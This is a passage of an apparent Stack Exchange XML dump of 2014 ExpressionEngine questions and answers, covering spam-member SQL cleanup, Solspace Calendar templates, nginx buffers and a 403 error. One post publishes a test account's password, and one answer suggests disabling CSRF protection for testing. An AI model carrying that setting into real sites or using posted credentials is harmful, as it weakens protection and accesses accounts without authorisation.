FROM exp_members where bio REGEXP 'http') LIMIT 1000000&#xA;DELETE FROM exp_members where bio REGEXP 'http' LIMIT 1000000&#xA;&#xA;&#xA;#more patterns for select spammers (you will also need do the same for tables exp_member_data, exp_member_homepage and exp_message_folders ) : &#xA;SELECT member_id FROM exp_members WHERE email REGEXP '[.].*[.].*[.].*[.].*@'; #select members who have emails with 4 dot's in name&#xA;&#xA;select member_id FROM exp_members where bio REGEXP 'url=www.'&#xA;select member_id FROM exp_members where bio REGEXP 'a href=&quot;'&#xA;&#xA;#most common spammers emails&#xA;select member_id FROM exp_members WHERE email REGEXP '.*@21cn.com' OR email REGEXP '.*@163.com' OR email REGEXP '.*@qq.com' OR  email REGEXP '.*@tom.com' OR email REGEXP '.*@mailnesia.com'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this method in combination with last check using StopSpammers DB check, it's take for me about 1h to cleanup DB with 120k members to 15'000 accounts which looked more real.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-05-22T08:48:53.693" LastActivityDate="2014-05-22T08:48:53.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22147" PostTypeId="1" AcceptedAnswerId="22155" CreationDate="2014-05-21T19:33:13.807" Score="0" ViewCount="280" Body="&lt;p&gt;Running EE 2.7.3 and Solspace Calendar 1.8.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mini-calendar &lt;a href=&quot;http://opteracreative.com/~mac/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (bottom right) displays all dates that have events using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;mc_wrap&quot;&amp;gt;&#xA;   {exp:calendar:cal&#xA;      {if segment_2 == &quot;calendars&quot;}&#xA;         date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;&#xA;      {/if}&#xA;      {if segment_2 == &quot;edit&quot;}&#xA;         date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;&#xA;      {/if}&#xA;      {if segment_2 == &quot;create&quot;}&#xA;         date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;&#xA;      {/if}&#xA;      {if segment_2 == &quot;event&quot;}&#xA;         date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;&#xA;      {/if}&#xA;      {if segment_2 == &quot;&quot;}&#xA;         date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;&#xA;      {/if}&#xA;      {if segment_2 == &quot;month&quot;}&#xA;         {if segment_3 == ''}date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;{/if}&#xA;         {if segment_3 != ''}date_range_start=&quot;{segment_3}-{segment_4}-01&quot; date_range_end=&quot;{segment_3}-{segment_4}-last&quot;{/if}&#xA;      {/if}&#xA;      {if segment_2 == &quot;week&quot;}&#xA;         {if segment_3 == ''}date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;{/if}&#xA;         {if segment_3 != ''}date_range_start=&quot;{segment_3}-{segment_4}-01&quot; date_range_end=&quot;{segment_3}-{segment_4}-last&quot;{/if}&#xA;      {/if}&#xA;      {if segment_2 == &quot;day&quot;}&#xA;         {if segment_3 == ''}date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;{/if}&#xA;         {if segment_3 != ''}date_range_start=&quot;{segment_3}-{segment_4}-01&quot; date_range_end=&quot;{segment_3}-{segment_4}-last&quot;{/if}&#xA;      {/if}&#xA;   dynamic=&quot;off&quot;&#xA;   }&#xA;      &amp;lt;div id=&quot;mc_calendar&quot;&amp;gt;&#xA;         {display_each_month}&#xA;         &amp;lt;table id=&quot;mini-cal&quot;&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;                    &amp;lt;tr  id=&quot;mc_head&quot;&amp;gt;&#xA;                  &amp;lt;th colspan=&quot;1&quot;&amp;gt;{if segment_2 != &quot;calendars&quot;}&amp;lt;a id=&quot;mc_prev_month&quot; class=&quot;icon left&quot; href=&quot;{path=''}mini-cal/month/{prev_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;{/if}&amp;lt;/th&amp;gt;&#xA;&#xA;                  &amp;lt;th colspan=&quot;5&quot;&amp;gt;&amp;lt;a href=&quot;{path='calendar'}/{month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;{month format=&quot;%F %Y&quot;}&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&#xA;&#xA;                  &amp;lt;th colspan=&quot;1&quot;&amp;gt;{if segment_2 != &quot;calendars&quot;}&amp;lt;a id=&quot;mc_next_month&quot; class=&quot;icon right&quot; href=&quot;{path=''}mini-cal/month/{next_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt; &amp;amp;raquo;&amp;lt;/a&amp;gt;{/if}&amp;lt;/th&amp;gt;&#xA;           &amp;lt;/tr&amp;gt;&#xA;           &amp;lt;tr id=&quot;mc_days&quot;&amp;gt;&#xA;              {display_each_day_of_week}&#xA;              &amp;lt;th class=&quot;{if day_of_week_is_weekend}weekend{/if} {if day_of_week_is_current}current{/if}&quot;&amp;gt;{day_of_week_one}&amp;lt;/th&amp;gt;&#xA;              {/display_each_day_of_week}&#xA;           &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;           {display_each_week}&#xA;           &amp;lt;tr&amp;gt;&#xA;              {display_each_day}&#xA;              &amp;lt;td class=&quot;&#xA;                 {if !day_in_current_month == FALSE}mc_pad{/if}&#xA;                 {if day_event_total &amp;gt; 0}has_events{/if}&#xA;                 {if count == 7}selected{/if}&#xA;                 {if day_is_today}today{/if}&#xA;              &quot;&amp;gt;&amp;lt;div class=&quot;mc_date&quot;&amp;gt;{if day_in_current_month}&#xA;                 {if day_event_total}&amp;lt;a href=&quot;{path='calendar/day'}/{day format=&quot;%Y/%m/%d&quot;}/&quot;&amp;gt;{/if}&#xA;                 {day}&#xA;                 {if day_event_total}&amp;lt;/a&amp;gt;{/if}&#xA;                 {if:else}&#xA;                    &amp;lt;strong class=&quot;middot&quot;&amp;gt;&amp;amp;middot;&amp;lt;/strong&amp;gt;&#xA;                 {/if}&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;              {/display_each_day}&#xA;           &amp;lt;/tr&amp;gt;&#xA;           {/display_each_week}&#xA;        &amp;lt;/tbody&amp;gt;&#xA;     &amp;lt;/table&amp;gt;&#xA;     {/display_each_month}&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:calendar:cal}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clicking on the day takes you to &lt;a href=&quot;http://opteracreative.com/~mac/calendar/day/2014/06/15/&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;. This works but with problems: the page displays a list of the days events and in most cases lists the day and date at the top using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;main-content&quot;&amp;gt;&#xA;    {exp:calendar:cal&#xA;                date_range_start=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;                show_days=&quot;1&quot;&#xA;                limit=&quot;1&quot;&#xA;            }&#xA;&#xA;    &amp;lt;h2&amp;gt;Events for {event_start_date format=&quot;%D, %M %d, %Y&quot;}&amp;lt;/h2&amp;gt;&#xA;    {/exp:calendar:cal}&#xA;&#xA;    {exp:calendar:events&#xA;                date_range_start=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;                date_rande_end=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;                orderby=&quot;event_start_date&quot;&#xA;                sort=&quot;asc&quot;&#xA;                show_days=&quot;1&quot;&#xA;            }&#xA;&#xA;            &amp;lt;div class=&quot;inner&quot;&amp;gt; &#xA;                {if calendar_no_results}&#xA;                    No Results&#xA;                {/if}&#xA;            &amp;lt;div class=&quot;event-summary&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;event-title&quot;&amp;gt;&amp;lt;a href=&quot;{path='calendar/event'}/{event_url_title}/{segment_3}/{segment_4}/{segment_5}&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        {event_summary}&#xA;                        &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Location&amp;lt;/b&amp;gt;: {event_location}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p class=&quot;learn-more&quot; &amp;gt;&amp;lt;a href=&quot;{path='calendar/event'}/{event_url_title}/{segment_3}/{segment_4}/{segment_5}&quot;&amp;gt;Learn more&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt; &#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;clearer&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end .inner --&amp;gt;&#xA;        {/exp:calendar:events}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end #main-content --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason the day/date information is not displaying correctly, even though it is reading from the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I click on May 24, the linked page displays Friday May 23, 2014. If I click on Monday, May 26, the linked page displays Thurs May 29, 2014. Clearly we have a problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then, if I click on June 18, the linked page does not display any Day/Date at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am open to all possible solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2014-05-30T22:43:32.867" LastActivityDate="2019-02-18T19:30:07.477" Title="Solspace Calendar Dates Not Showing Correctly" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22148" PostTypeId="1" AcceptedAnswerId="22149" CreationDate="2014-05-21T21:35:46.047" Score="3" ViewCount="143" Body="&lt;p&gt;I'm looking for any suggestions what to use (addons) to have ability to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create customer account during checkout process (as an option)&lt;/li&gt;&#xA;&lt;li&gt;capture customer data (billing and shipping address)&lt;/li&gt;&#xA;&lt;li&gt;store all completed orders&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and if account exists:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;let clustomer to log in&lt;/li&gt;&#xA;&lt;li&gt;use stored data (billing and shipping address) during checkout process&lt;/li&gt;&#xA;&lt;li&gt;view all completed orders&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-05-22T15:10:00.910" LastActivityDate="2014-05-22T15:12:42.990" Title="Expresso Store: customer registration" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22149" PostTypeId="2" ParentId="22148" CreationDate="2014-05-21T21:39:51.903" Score="6" Body="&lt;p&gt;The simplest and free approach would be to use Freemember, also created by Expresso. It offers member registration tags within templates and integrates nicely with Store, allowing you to map custom member fields to Store customer/order fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need your member profiles to be a bit more complicated, you can use something like Zoo Visitor, which provides similar functionality, with the addition of connecting member profiles to channel entries so any channel fieldtype can be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case, you can align your user's flow through the site to register and then direct over to templates with your cart and checkout using the return=&quot;&quot; parameters on the registration tags.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-21T21:39:51.903" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22150" PostTypeId="1" AcceptedAnswerId="22185" CreationDate="2014-05-21T23:44:46.157" Score="2" ViewCount="301" Body="&lt;p&gt;We're using Expresso Store on a new project and the client has asked as to whether price modifier templates can be created to avoid having staff add modifiers in different ways for different products which share a common modifier type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible? If not I think it would make for a great addition to Store. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-05-23T03:32:46.597" Title="Any way to create Expresso Store price modifier templates" Tags="|expresso-store|modifiers|price-modifier|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22151" PostTypeId="1" AcceptedAnswerId="22152" CreationDate="2014-05-22T00:36:23.367" Score="0" ViewCount="339" Body="&lt;p&gt;I have this code to see if &lt;code&gt;member_order_comments&lt;/code&gt; is blank or not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{member_order_comments}' != ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine, unless there is a &lt;code&gt;'&lt;/code&gt; in the middle of &lt;code&gt;member_order_comments&lt;/code&gt;, in which case I get a php error. I understand why the php error. I don't know the right way to check for an empty string when the string can have any format.&lt;/p&gt;&#xA;" OwnerUserId="1593" LastActivityDate="2014-05-22T00:44:01.490" Title="Test for empty string" Tags="|conditionals|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22152" PostTypeId="2" ParentId="22151" CreationDate="2014-05-22T00:44:01.490" Score="4" Body="&lt;p&gt;I believe if you use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{If your_field} something exists {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should display conditional content if the field contains anything at all.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-22T00:44:01.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22153" PostTypeId="1" AcceptedAnswerId="22158" CreationDate="2014-05-22T03:01:13.157" Score="0" ViewCount="108" Body="&lt;p&gt;I'm using JSON from Rob Sanchez, it's working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template create a file, but what is the solution for the template save the file with a json extension instead of .html or .js ??&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-05-22T03:11:51.613" LastActivityDate="2014-05-22T06:47:31.820" Title="JSON: export file from template with a JSON extension" Tags="|json|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22154" PostTypeId="1" CreationDate="2014-05-22T05:18:55.597" Score="2" ViewCount="877" Body="&lt;p&gt;I'm using Channel Form to post entries from the front end. It works fine locally, but on the development and production server it isn't working at times: Channel images, WYGWAM, Tagger, and Grid. All but WYGWAM look right (the WYGWAM field shows as a basic text box, not the WYWAMY look) but don't work. If you click on a suggested tag it does not get added, if you click an &quot;add row&quot; icon for a Grid it just takes you to the top of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In console I see the following error whenever it breaks (not when it works):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Error] SyntaxError: Unexpected token '&amp;lt;' (www.example.com, line 40)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Strange part is it is very inconsistent. It will work fine, then break. Then won't work on any browser (Mac, PC, Chrome/Safari), then will start working again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a test account:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;username: test@rcdevotee.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;password: eecms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rcdevotee.com/contribute/model&quot; rel=&quot;nofollow&quot;&gt;http://www.rcdevotee.com/contribute/model&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to see if it works, doesn't work, and if you see any issues that can help figure it out when it isn't working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template does not have jQuery, the form includes it (include_jquery==&quot;yes&quot;). So no double jQuery issues in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the form altogether I don't get the error I listed above. If I have just the form tags, but no fields it will give the error when it isn't working. So it has something to do with the Channel Form tag and not any of the fields it would seem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or ideas where to look for help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2014-06-28T21:05:31.860" LastActivityDate="2015-12-22T22:50:38.117" Title="jQuery does not work in channel form, get 'syntax error: Unexpected token" Tags="|safecracker|jquery|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22155" PostTypeId="2" ParentId="22147" CreationDate="2014-05-22T06:23:22.523" Score="1" Body="&lt;p&gt;&lt;strong&gt;Useful/Important Read&lt;/strong&gt;: &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, you have&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;date_range_start=&amp;quot;{segment_3}-{segment_4}-{segment_5}&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;..whereas your URL is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/~mac/calendar/day/2014/05/29/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Shouldn't that be the following?:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;date_range_start=&amp;quot;{segment_4}-{segment_5}-{segment_6}&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Further, in both cases, you need to use &lt;strong&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt;, which is the only tag that deals with event data on a chronological timeline&lt;/strong&gt;. {exp:calendar:events orderby=&amp;quot;event_start_date&amp;quot;} won't be accurate, &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; is what would be used instead.&lt;/p&gt;&#xA;&lt;p&gt;Finally, looks like you want to &lt;strong&gt;zoom in on a particular date&lt;/strong&gt;, in that case you need to use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    date_range_start=&amp;quot;{segment_4}-{segment_5}-{segment_6}&amp;quot;&#xA;    date_range_end=&amp;quot;{segment_4}-{segment_5}-{segment_6}&amp;quot;&#xA;    pad_short_weeks=&amp;quot;n&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will &lt;strong&gt;zoom in&lt;/strong&gt; on a specific day, and limit the timeframe to that single day.&lt;/p&gt;&#xA;&lt;p&gt;You need to have &lt;code&gt;pad_short_weeks=&amp;quot;&amp;quot;&lt;/code&gt; parameter set to &lt;code&gt;n&lt;/code&gt; in the event you're trying to display anything other than a typical calendar display. When set to &lt;code&gt;n&lt;/code&gt;, weeks won't be &amp;quot;padded&amp;quot; to the nearest first day of the week and last day of the week, as Calendar does this by default for the sake of properly outputting and formatting a calendar.&lt;/p&gt;&#xA;&lt;p&gt;So for example, using the &lt;code&gt;date_range_start=&amp;quot;&amp;quot;&lt;/code&gt; and &lt;code&gt;date_range_end=&amp;quot;&amp;quot;&lt;/code&gt; parameters, if your code looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;date_range_start=&amp;quot;2011-10-19&amp;quot; date_range_end=&amp;quot;2011-10-21&amp;quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;...with &lt;code&gt;pad_short_weeks=&amp;quot;&amp;quot;&lt;/code&gt; parameter NOT specified, Calendar will automatically display the entire week range (2011-10-16 - 2011-10-22). With &lt;code&gt;pad_short_weeks=&amp;quot;n&amp;quot;&lt;/code&gt;, Calendar will just display the selected range (2011-10-19 - 2011-10-21).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mtVq1.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mtVq1.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://www.solspace.com/documentation/calendar/images/calendar_pad_short_weeks.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;solspace.com&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, you have a separate &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag to display &amp;quot;Events for &lt;code&gt;{event_start_date format=&amp;quot;%D, %M %d, %Y&amp;quot;}&lt;/code&gt;&amp;quot; text. Although there are more than one way to display this data (since you have the date in the URL, you could combine that with {exp:calendar:&lt;strong&gt;date&lt;/strong&gt;}, for example), the code as you have it will obviously loop through events, so will display the text more than once. Adding a &lt;code&gt;{if count == 1} ... {/if}&lt;/code&gt; conditional should fix that and display the text once.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2019-02-18T19:30:07.477" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22156" PostTypeId="2" ParentId="22064" CreationDate="2014-05-22T06:41:18.593" Score="0" Body="&lt;p&gt;I did a search for '502 bad gateway nginx' and it is a fairly common issue, and seems to be more server configuration related than it is a software issue.  I was able to resolve my instance of the error by inserting the following values within the http {} tags in the nginx configuration file located on my server at /etc/nginx/nginx.conf :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxy_buffer_size 128k;&#xA;proxy_buffers 4 256k;&#xA;proxy_busy_buffers_size 256k;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then restart the nginx service via SSH with the command 'service nginx restart'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information is referenced from the following sources:&lt;br /&gt;&#xA;&lt;a href=&quot;http://alexfislegend.com/development/502-bad-gateway-nginx-error-on-a-media-temple-dv-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source 1&lt;/a&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/13894386/upstream-too-big-nginx-codeigniter&quot;&gt;Source 2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-05-22T06:41:18.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22157" PostTypeId="2" ParentId="20767" CreationDate="2014-05-22T06:45:37.607" Score="1" Body="&lt;p&gt;You may have already resolved this, but in case you haven't or for anyone else running into this issue, I resolved it by adding the following to my nginx.conf file within the http {} tags located at /etc/nginx/nginx.conf on your server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxy_buffer_size   128k;&#xA;proxy_buffers   4 256k;&#xA;proxy_busy_buffers_size   256k;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then restart your nginx service via SSH with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'service nginx restart'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This worked for me, but for some others the fastcgi_buffer also needed to be updated.  If the above does not work, then you may want to reference this answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13894386/upstream-too-big-nginx-codeigniter&quot;&gt;Upstream too big - nginx + codeigniter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-08-28T01:40:53.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22158" PostTypeId="2" ParentId="22153" CreationDate="2014-05-22T06:47:31.820" Score="2" Body="&lt;p&gt;I'm not completely understand your issue (for template route ext. is not really matter - you can made it as you want), but possible is that you have &lt;em&gt;text/html&lt;/em&gt; header instead of &lt;em&gt;application/json&lt;/em&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, try to add &lt;strong&gt;terminate=&quot;yes&quot;&lt;/strong&gt; parameter to JSON plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:json:entries channel=&quot;news&quot; terminate=&quot;yes&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-05-22T06:47:31.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22159" PostTypeId="2" ParentId="22124" CreationDate="2014-05-22T06:55:11.360" Score="0" Body="&lt;p&gt;Okay, got it to work.. changing the field to the supported variable shipping_region in the order channel fields and then updating the Postmaster Hook &quot;To&quot; field from {order_custom_email} to {hooks:shipping_region} sends the mail perfectly. &lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2014-05-22T06:55:11.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22161" PostTypeId="2" ParentId="22018" CreationDate="2014-05-22T07:38:51.817" Score="2" Body="&lt;p&gt;Are you on EE 2.8.1?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably be easiest to use a relationship field in the &quot;press clips&quot; channel instead of creating a separate category for each recording.  You can then easily get the entry_id of the related recording by doing something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;press clips&quot;}&#xA;&#xA;{related_recording}&#xA;     &amp;lt;a href=&quot;{site_url}music/recordings#{related_recording:entry_id}&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/related_recording}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One thing to be careful of is the status of the related entry.  If the status of the related entry is anything other than &quot;open&quot;, you need to specify it in the tag pair.  Also, the status in the related entry tag pair parameter is case sensitive, which is different behavior than the regular channel:entries tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, if the related_recording has a status of &quot;NEW Album&quot; you would need to have your code look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;press clips&quot;}&#xA;&#xA;{related_recording status=&quot;NEW Album&quot;}&#xA;     &amp;lt;a href=&quot;{site_url}music/recordings#{related_recording:entry_id}&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/related_recording}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-05-22T07:38:51.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22162" PostTypeId="1" AcceptedAnswerId="22166" CreationDate="2014-05-22T10:20:07.750" Score="0" ViewCount="44" Body="&lt;p&gt;I have a template containing a tag from a custom module that processes POST'd data from an external site, but when the page is called it responds with a 403 error (so the logs from the external site tell me anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the tag, the page will display, but with the tag in it I get an empty page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the request to a GET is not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE : v2.5.2&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2014-05-22T11:30:39.323" LastActivityDate="2014-05-22T12:22:55.903" Title="Posting to a page containing custom module from external site gives '403 Forbidden'" Tags="|ee2|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22166" PostTypeId="2" ParentId="22162" CreationDate="2014-05-22T11:11:44.370" Score="0" Body="&lt;p&gt;Well, is really not too much info you provide to us (what EE version, what module etc.). But I can suggest that it is results of &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#cross-site-request-forgery&quot; rel=&quot;nofollow&quot;&gt;Cross-site Request Forgery protection&lt;/a&gt;. Possible you do not provide csrf_token/xid with your POST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for test - try to disable it in config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['secure_forms'] = 'n'; // for EE &amp;lt;2.8&#xA;$config['disable_csrf_protection'] = 'y'; // for EE &amp;gt;=2.8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is also good to know what exactly was on the page, not just header data. Because it can be EE 403 error because of protection, but it can be server info also. For example - do you have mod_security on server? What status of SecFilterEngine?&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-05-22T12:22:55.903" LastActivityDate="2014-05-22T12:22:55.903" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
